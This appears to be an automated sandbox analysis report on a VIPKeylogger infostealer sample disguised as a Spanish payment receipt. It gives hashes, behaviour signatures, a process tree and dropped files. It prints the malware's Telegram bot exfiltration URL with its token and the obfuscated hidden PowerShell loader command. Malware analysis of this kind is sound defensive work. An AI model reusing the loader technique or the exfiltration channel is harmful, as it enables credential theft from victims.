Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-12-2024 04:27

General

  • Target

    Justificante pago-09453256434687.exe

  • Size

    1.1MB

  • MD5

    4252cd5753def4a484fb3313e1029e66

  • SHA1

    19fd0734102e1eebe6c7f42d530d30e920366e00

  • SHA256

    96b8248be606c47b8955a560f3df160a4c9026ce1956e407daf177f17549e4f7

  • SHA512

    471851f39c4d058798bce13f80c63f38e3f3196132c5fe3068982362d7c9c876670cef2f768a8de7ed300669a85c58b367c1b51221617a1d8ae67cda77b82984

  • SSDEEP

    24576:3NrNYoKOHCWJSICvcVU2F3VwV5k7j5awX300zQUGtZQ:d+jEWhvsU2F3VwXgj5aEkHUGtZQ

Malware Config

Extracted

Family

vipkeylogger

C2

https://api.telegram.org/bot7884953123:AAF1UbV49cF9gYVrnfCw9g9ZbVXhB325bSM/sendMessage?chat_id=5234817354

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Blocklisted process makes network request 8 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Justificante pago-09453256434687.exe
    "C:\Users\Admin\AppData\Local\Temp\Justificante pago-09453256434687.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3596
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Subwayed=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Forhaandsudtalelses.Pot162';$Raadslagningens=$Subwayed.SubString(68150,3);.$Raadslagningens($Subwayed) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3460
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:4812

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_df4fkzqd.uoy.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Forhaandsudtalelses.Pot162

    Filesize

    66KB

    MD5

    f508128e1733bb6460b9b1532382ecf6

    SHA1

    b20f4e4af3fe86a6dd5b7b10fcf983fac5bf74c4

    SHA256

    85b8bc66a411630746860c471286ab9bbc69ba93212e12da8e75040dfb3a1a75

    SHA512

    acc7183911452359ec33582cdf6f5ff0953bc4f09f1f5475454d17277466abc1f9b0218e8177735f9653665fbf55555bd557b86398c3d5a4a0d697b122e81731

  • C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Umatilla125.Sea140

    Filesize

    305KB

    MD5

    3c8436f0e7b9d6c8d25947e4374d179e

    SHA1

    1be9130c45876d27f39c2097771090e573697b72

    SHA256

    8512544eb0068094f92cd705fd941a0f07f5697d690aa62ea351b1363f348c75

    SHA512

    aa229b1e5c66a78d67a06b601e5aad9b000b4e15bd0a5f15ff001201f228fc9950418cf9b2f205fca07be73e70a06383766da3804341c42c5597bcbedcc651fd

  • C:\Users\Admin\AppData\Local\Temp\nspABB2.tmp\nsExec.dll

    Filesize

    7KB

    MD5

    675c4948e1efc929edcabfe67148eddd

    SHA1

    f5bdd2c4329ed2732ecfe3423c3cc482606eb28e

    SHA256

    1076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906

    SHA512

    61737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683

  • memory/3460-12-0x0000000073D7E000-0x0000000073D7F000-memory.dmp

    Filesize

    4KB

  • memory/3460-13-0x00000000029E0000-0x0000000002A16000-memory.dmp

    Filesize

    216KB

  • memory/3460-14-0x0000000005290000-0x00000000058B8000-memory.dmp

    Filesize

    6.2MB

  • memory/3460-15-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/3460-16-0x0000000005040000-0x0000000005062000-memory.dmp

    Filesize

    136KB

  • memory/3460-18-0x0000000005930000-0x0000000005996000-memory.dmp

    Filesize

    408KB

  • memory/3460-23-0x00000000059A0000-0x0000000005A06000-memory.dmp

    Filesize

    408KB

  • memory/3460-24-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/3460-29-0x0000000005B10000-0x0000000005E64000-memory.dmp

    Filesize

    3.3MB

  • memory/3460-30-0x0000000005FD0000-0x0000000005FEE000-memory.dmp

    Filesize

    120KB

  • memory/3460-31-0x0000000006020000-0x000000000606C000-memory.dmp

    Filesize

    304KB

  • memory/3460-32-0x0000000006FE0000-0x0000000007076000-memory.dmp

    Filesize

    600KB

  • memory/3460-33-0x00000000064F0000-0x000000000650A000-memory.dmp

    Filesize

    104KB

  • memory/3460-34-0x0000000006540000-0x0000000006562000-memory.dmp

    Filesize

    136KB

  • memory/3460-35-0x0000000007640000-0x0000000007BE4000-memory.dmp

    Filesize

    5.6MB

  • memory/3460-37-0x0000000008270000-0x00000000088EA000-memory.dmp

    Filesize

    6.5MB

  • memory/3460-39-0x0000000070200000-0x000000007024C000-memory.dmp

    Filesize

    304KB

  • memory/3460-38-0x00000000073E0000-0x0000000007412000-memory.dmp

    Filesize

    200KB

  • memory/3460-50-0x0000000007420000-0x000000000743E000-memory.dmp

    Filesize

    120KB

  • memory/3460-49-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/3460-51-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/3460-52-0x0000000007450000-0x00000000074F3000-memory.dmp

    Filesize

    652KB

  • memory/3460-55-0x0000000007550000-0x000000000755A000-memory.dmp

    Filesize

    40KB

  • memory/3460-56-0x0000000007570000-0x0000000007581000-memory.dmp

    Filesize

    68KB

  • memory/3460-57-0x00000000075C0000-0x00000000075CE000-memory.dmp

    Filesize

    56KB

  • memory/3460-58-0x00000000075D0000-0x00000000075E4000-memory.dmp

    Filesize

    80KB

  • memory/3460-59-0x0000000007610000-0x000000000762A000-memory.dmp

    Filesize

    104KB

  • memory/3460-60-0x0000000007600000-0x0000000007608000-memory.dmp

    Filesize

    32KB

  • memory/3460-61-0x0000000007D80000-0x0000000007DAA000-memory.dmp

    Filesize

    168KB

  • memory/3460-62-0x0000000007DB0000-0x0000000007DD4000-memory.dmp

    Filesize

    144KB

  • memory/3460-63-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/3460-65-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/3460-64-0x0000000073D7E000-0x0000000073D7F000-memory.dmp

    Filesize

    4KB

  • memory/3460-66-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/3460-68-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/3460-69-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/3460-71-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/3460-70-0x00000000088F0000-0x000000000A194000-memory.dmp

    Filesize

    24.6MB

  • memory/3460-72-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/3460-73-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/3460-75-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/4812-88-0x0000000001210000-0x0000000002464000-memory.dmp

    Filesize

    18.3MB

  • memory/4812-89-0x0000000001210000-0x000000000125A000-memory.dmp

    Filesize

    296KB

  • memory/4812-90-0x0000000021CF0000-0x0000000021D8C000-memory.dmp

    Filesize

    624KB

  • memory/4812-92-0x0000000022A20000-0x0000000022BE2000-memory.dmp

    Filesize

    1.8MB

  • memory/4812-93-0x0000000022150000-0x00000000221A0000-memory.dmp

    Filesize

    320KB

  • memory/4812-94-0x0000000023120000-0x000000002364C000-memory.dmp

    Filesize

    5.2MB

  • memory/4812-97-0x00000000228F0000-0x0000000022982000-memory.dmp

    Filesize

    584KB

  • memory/4812-98-0x000000001F810000-0x000000001F81A000-memory.dmp

    Filesize

    40KB